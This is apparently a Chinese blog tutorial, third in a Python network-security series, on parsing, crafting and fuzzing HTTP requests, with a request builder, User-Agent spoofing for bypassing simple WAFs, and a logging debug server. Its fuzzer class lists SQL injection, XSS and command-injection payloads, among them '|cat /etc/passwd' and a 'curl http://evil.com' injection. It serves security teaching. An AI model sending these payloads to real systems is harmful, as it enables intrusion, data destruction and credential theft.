当前位置:首页>python>Python网络安全实战(3/10):HTTP请求分析与伪造

Python网络安全实战(3/10):HTTP请求分析与伪造

  • 2026-09-10 02:38:01
Python网络安全实战(3/10):HTTP请求分析与伪造

## 引言

HTTP是Web安全中最核心的协议之一。理解HTTP请求的细节结构、掌握请求伪造技术,是进行安全测试的基础。无论是SQL注入、XSS攻击还是逻辑漏洞,都依赖于对HTTP请求的精准控制。

## 第一部分:HTTP协议深度解析

```python

import http.server

import urllib.parse

classHTTPProtocolAnalyzer:

"""HTTP协议分析器 - 学习如何拆解和分析HTTP请求"""

@staticmethod

defparse_request(request_line: str) -> dict:

"""

        解析HTTP请求行

        请求行格式: METHOD /path HTTP/1.1

        例如: GET /login.php?id=1 HTTP/1.1

        """

        parts = request_line.split()

iflen(parts) != 3:

raiseValueError(f"Invalid request line: {request_line}")

        method, path, protocol = parts

# 分离路径和查询字符串

        parsed = urllib.parse.urlparse(path)

        query_params = urllib.parse.parse_qs(parsed.query)

return {

"method": method,

"path": parsed.path,

"protocol": protocol,

"query_string": parsed.query,

"query_params": query_params,

"full_path": path

        }

@staticmethod

defparse_headers(headers_text: str) -> dict:

"""解析HTTP请求头"""

        headers = {}

for line in headers_text.strip().split("\n"):

if": "in line:

                key, value = line.split(": ", 1)

                headers[key] = value

return headers

@staticmethod

defanalyze_method_risks(method: str) -> str:

"""分析HTTP方法的安全风险"""

        risk_analysis = {

"GET": {

"level": "低风险",

"issues": ["参数在URL中可见", "可能被浏览器历史记录保留"],

"attack_vectors": ["SQL注入", "XSS", "参数污染"]

            },

"POST": {

"level": "中风险",

"issues": ["Body数据较大", "CSRF攻击"],

"attack_vectors": ["SQL注入", "命令注入", "文件上传"]

            },

"PUT": {

"level": "高风险",

"issues": ["允许文件写入", "覆盖现有文件"],

"attack_vectors": ["文件覆盖", "WebShell上传"]

            },

"DELETE": {

"level": "高风险",

"issues": ["删除资源", "无法恢复"],

"attack_vectors": ["删除数据", "破坏业务"]

            },

"OPTIONS": {

"level": "信息泄漏",

"issues": ["泄露支持的HTTP方法"],

"attack_vectors": ["方法枚举"]

            },

"TRACE": {

"level": "高风险",

"issues": ["Cross-Site Tracing攻击"],

"attack_vectors": ["Cookie窃取"]

            }

        }

return risk_analysis.get(method, "未知风险")

@staticmethod

defprint_protocol_details(http_request: str):

"""

        详细展示HTTP请求的每一个组成部分

        这是理解协议的好方法。通过手动解析,

        你可以直观地看到每个字段的含义。

        """

print("=" * 60)

print("HTTP 请求深度解析")

print("=" * 60)

# 分割请求行和头部

        parts = http_request.split("\n\n", 1)

        request_part = parts[0]

        body = parts[1] iflen(parts) > 1else""

        lines = request_part.split("\n")

        request_line = lines[0]

print(f"\n【请求行】")

print(f"  原始: {request_line}")

        parsed = HTTPProtocolAnalyzer.parse_request(request_line)

print(f"  方法: {parsed['method']}")

print(f"  路径: {parsed['path']}")

print(f"  查询: {parsed['query_params']}")

print(f"  协议: {parsed['protocol']}")

print(f"\n【请求头】")

for line in lines[1:]:

if": "in line:

                key, value = line.split(": ", 1)

                risk = ""

# 检测潜在的敏感头

if key.lower() in ("authorization", "cookie", "x-auth-token"):

                    risk = " ⚠️ 敏感信息!"

elif key.lower() in ("referer", "origin"):

                    risk = " 🔍 可用于越权检测"

print(f"  {key}: {value}{risk}")

print(f"\n【请求体】")

if body:

print(f"  {body[:200]}{'...'iflen(body) > 200else''}")

# 如果是表单格式,解析参数

if"&"in body and"="in body:

                params = urllib.parse.parse_qs(body)

print(f"  表单参数: {params}")

else:

print("  (空)")

# ===== 使用示例 =====

if__name__ == "__main__":

    analyzer = HTTPProtocolAnalyzer()

    sample_request = """POST /login.php HTTP/1.1

Host: target.example.com

User-Agent: Mozilla/5.0

Accept: text/html,application/xhtml+xml

Accept-Language: zh-CN,zh;q=0.9

Content-Type: application/x-www-form-urlencoded

Content-Length: 52

Connection: keep-alive

Cookie: session_id=abc123; admin=true

X-Forwarded-For: 192.168.1.100

username=admin&password=admin123&remember=1"""

    analyzer.print_protocol_details(sample_request)

```

## 第二部分:构造自定义HTTP请求

```python

import urllib.request

import urllib.error

import json

from typing import Dict, Optional, List

classHTTPRequestBuilder:

"""

    HTTP请求构建器 - 用于构造各种HTTP请求进行测试

    用途:

    - 绕过简单WAF(修改Header、User-Agent等)

    - 模拟不同客户端行为

    - 测试API接口的边界条件

    """

def__init__(self, base_url: str, headers: Optional[Dict] = None):

self.base_url = base_url

self.default_headers = headers or {}

defbuild_get(self, path: str, params: Optional[Dict] = None,

headers: Optional[Dict] = None) -> urllib.request.Request:

"""构建GET请求"""

        url = self.base_url + path

if params:

            query_string = urllib.parse.urlencode(params)

            url += "?" + query_string

        req_headers = {**self.default_headers, **(headers or {})}

        req = urllib.request.Request(url, headers=req_headers, method="GET")

return req

defbuild_post_form(self, path: str, data: Dict,

headers: Optional[Dict] = None) -> urllib.request.Request:

"""构建application/x-www-form-urlencoded POST请求"""

        encoded_data = urllib.parse.urlencode(data).encode("utf-8")

        default_headers = {

"Content-Type": "application/x-www-form-urlencoded",

"Content-Length": str(len(encoded_data))

        }

        req_headers = {**default_headers, **(headers or {})}

        req = urllib.request.Request(

self.base_url + path,

data=encoded_data,

headers=req_headers,

method="POST"

        )

return req

defbuild_post_json(self, path: str, data: Dict,

headers: Optional[Dict] = None) -> urllib.request.Request:

"""构建application/json POST请求"""

        json_data = json.dumps(data).encode("utf-8")

        default_headers = {

"Content-Type": "application/json",

"Content-Length": str(len(json_data))

        }

        req_headers = {**default_headers, **(headers or {})}

        req = urllib.request.Request(

self.base_url + path,

data=json_data,

headers=req_headers,

method="POST"

        )

return req

defbuild_upload(self, path: str, files: Dict,

headers: Optional[Dict] = None) -> urllib.request.Request:

"""

        构建multipart/form-data文件上传请求

        (简化版,实际生产建议使用requests库)

        """

        boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"

        data_lines = []

for field_name, file_content in files.items():

            data_lines.append(f"--{boundary}")

            data_lines.append(f'Content-Disposition: form-data; name="{field_name}"; filename="{field_name}"')

            data_lines.append("Content-Type: application/octet-stream")

            data_lines.append("")

            data_lines.append(str(file_content))

        data_lines.append(f"--{boundary}--")

        data_lines.append("")

        body = "\r\n".join(data_lines).encode("utf-8")

        default_headers = {

"Content-Type": f"multipart/form-data; boundary={boundary}"

        }

        req_headers = {**default_headers, **(headers or {})}

        req = urllib.request.Request(

self.base_url + path,

data=body,

headers=req_headers,

method="POST"

        )

return req

defsend_and_analyze(self, request: urllib.request.Request,

timeout: int = 10) -> dict:

"""发送请求并分析响应"""

        result = {

"status_code": None,

"headers": {},

"body": "",

"response_time": 0,

"error": None

        }

import time

        start_time = time.time()

try:

with urllib.request.urlopen(request, timeout=timeout) as response:

                result["status_code"] = response.status

                result["headers"] = dict(response.headers)

                result["body"] = response.read().decode("utf-8", errors="ignore")

                result["response_time"] = time.time() - start_time

except urllib.error.HTTPError as e:

            result["status_code"] = e.code

            result["headers"] = dict(e.headers)

try:

                result["body"] = e.read().decode("utf-8", errors="ignore")

except:

                result["body"] = "[无法读取响应体]"

            result["response_time"] = time.time() - start_time

except urllib.error.URLError as e:

            result["error"] = str(e.reason)

            result["response_time"] = time.time() - start_time

exceptExceptionas e:

            result["error"] = str(e)

            result["response_time"] = time.time() - start_time

return result

# ===== 演示:请求头伪装 =====

classHeaderCloaking:

"""

    请求头伪装技术演示

    这些技术在测试中常见,了解它们有助于防御

    """

# 不同的浏览器指纹

FAKE_HEADERS = {

"chrome_win": {

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "

"AppleWebKit/537.36 (KHTML, like Gecko) "

"Chrome/120.0.0.0 Safari/537.36",

        },

"firefox_linux": {

"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) "

"Gecko/20100101 Firefox/121.0",

        },

"safari_mac": {

"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "

"AppleWebKit/605.1.15 (KHTML, like Gecko) "

"Version/17.0 Safari/605.1.15",

        },

"python_requests": {

"User-Agent": "python-requests/2.31.0",

"Accept-Encoding": "gzip, deflate",

"Connection": "keep-alive",

        },

"curl": {

"User-Agent": "curl/8.1.2",

        },

    }

@classmethod

defdemonstrate(cls):

"""演示各种User-Agent的区别"""

print("=" * 60)

print("User-Agent 指纹对比")

print("=" * 60)

for name, headers incls.FAKE_HEADERS.items():

print(f"\n  [{name}]")

for key, value in headers.items():

print(f"    {key}: {value[:80]}{'...'iflen(value) > 80else''}")

```

## 第三部分:HTTP请求伪造测试

```python

classHTTPFuzzTester:

"""

    HTTP请求模糊测试器

    用于测试边界情况和异常输入

    """

# SQL注入测试payload

SQLI_PAYLOADS = [

"' OR '1'='1",

"' OR 1=1 --",

"1'; DROP TABLE users; --",

"' UNION SELECT username, password FROM users --",

"admin'--",

"1 AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION()))",

    ]

# XSS测试payload

XSS_PAYLOADS = [

"<script>alert('XSS')</script>",

"<img src=x onerror=alert(1)>",

"<svg/onload=alert('XSS')>",

"javascript:alert(document.cookie)",

'<iframe src="javascript:alert(1)">',

    ]

# 命令注入测试payload

CMDI_PAYLOADS = [

";ls -la",

"|cat /etc/passwd",

"`whoami`",

"$(id)",

"127.0.0.1; curl http://evil.com",

    ]

deftest_sql_injection(self, url: str, param_name: str = "id") -> List[dict]:

"""

        检测SQL注入点(基础版)

        通过分析响应变化来判断是否存在注入

        """

        results = []

print(f"[*] 测试SQL注入: {url}?{param_name}=x")

# 获取基准响应(正常请求)

        builder = HTTPRequestBuilder(url)

        baseline_req = builder.build_get("", {param_name: "1"})

        baseline_resp = builder.send_and_analyze(baseline_req)

# 逐个测试payload

for payload inself.SQLI_PAYLOADS:

            req = builder.build_get("", {param_name: payload})

            resp = builder.send_and_analyze(req)

# 比较响应差异

ifself._detect_anomaly(baseline_resp, resp):

                results.append({

"payload": payload,

"original_length": len(baseline_resp["body"]),

"modified_length": len(resp["body"]),

"difference": abs(len(resp["body"]) - len(baseline_resp["body"]))

                })

return results

deftest_xss(self, url: str, param_name: str = "q") -> List[dict]:

"""检测反射型XSS(基础版)"""

        results = []

        builder = HTTPRequestBuilder(url)

for payload inself.XSS_PAYLOADS:

            req = builder.build_get("", {param_name: payload})

            resp = builder.send_and_analyze(req)

if payload in resp["body"]:

                results.append({

"payload": payload,

"reflected": True,

"response_length": len(resp["body"])

                })

return results

def_detect_anomaly(self, baseline: dict, test_response: dict) -> bool:

"""

        检测响应是否发生明显变化

        简单启发式:比较响应长度和内容

        实际的漏洞检测需要更复杂的分析

        """

        length_diff = abs(

len(test_response["body"]) - len(baseline["body"])

        )

        status_change = test_response["status_code"] != baseline["status_code"]

# 如果长度变化很大或状态码改变,可能存在注入

return length_diff > 50or status_change

```

## 第四部分:构建本地HTTP服务器进行调试

```python

classDebugHTTPServer(http.server.BaseHTTPRequestHandler):

"""

    调试用HTTP服务器 - 用于观察和分析接收到的请求

    这个服务器会记录所有收到的请求细节,

    帮助你理解攻击者发送给服务器的具体内容。

    """

defdo_GET(self):

self._log_request("GET")

defdo_POST(self):

self._log_request("POST")

def_log_request(self, method: str):

"""记录请求详情"""

print(f"\n{'=' * 60}")

print(f"[请求] {method}{self.path}")

print(f"[来源] {self.client_address[0]}:{self.client_address[1]}")

print(f"[协议] {self.request_version}")

for header, value inself.headers.items():

print(f"[头]   {header}: {value}")

if method == "POST":

            content_length = int(self.headers.get("Content-Length", 0))

            body = self.rfile.read(content_length)

print(f"[体]   {body.decode('utf-8', errors='ignore')[:200]}")

# 回复

self.send_response(200)

self.send_header("Content-Type", "text/plain")

self.end_headers()

self.wfile.write(b"Debug OK")

print(f"{'=' * 60}")

defstart_debug_server(port: int = 8888):

"""启动调试HTTP服务器"""

    server = http.server.HTTPServer(("0.0.0.0", port), DebugHTTPServer)

print(f"[*] 调试服务器已启动: http://0.0.0.0:{port}")

print("[*] 向此地址发送任何HTTP请求将被记录和分析")

try:

        server.serve_forever()

exceptKeyboardInterrupt:

print("\n[*] 服务器已停止")

        server.server_close()

```

## 实战练习

### 练习1:自定义HTTP代理

编写一个简单的HTTP代理服务器,拦截、查看和修改所有经过的请求:

- 记录所有POST请求的body数据

- 自动标记可疑的User-Agent

- 统计每种HTTP方法的分布

### 练习2:CORS安全测试

测试CORS配置是否正确:

- 发送带有Origin头的跨域请求

- 检查Access-Control-Allow-Origin是否返回具体域名而非`*`

- 测试是否允许携带凭证

### 练习3:HTTP方法枚举

编写脚本自动发现服务器上允许的HTTP方法:

- 使用OPTIONS探测每个资源的可用方法

- 标记PUT/DELETE等非标准方法

- 评估安全风险

## 总结

本篇教程涵盖了:

- ✅ HTTP协议深度解析

- ✅ 自定义HTTP请求构建

- ✅ Header伪装技术

- ✅ HTTP模糊测试框架

- ✅ 调试服务器搭建

掌握HTTP请求分析后,下一节我们将学习:**密码哈希破解**——理解MD5/SHA加密原理,实现密码哈希检测和基础破解。

---

> ⚖️ **版权声明**:本教程仅供学习和研究用途。请勿用于非法用途。

最新文章

随机文章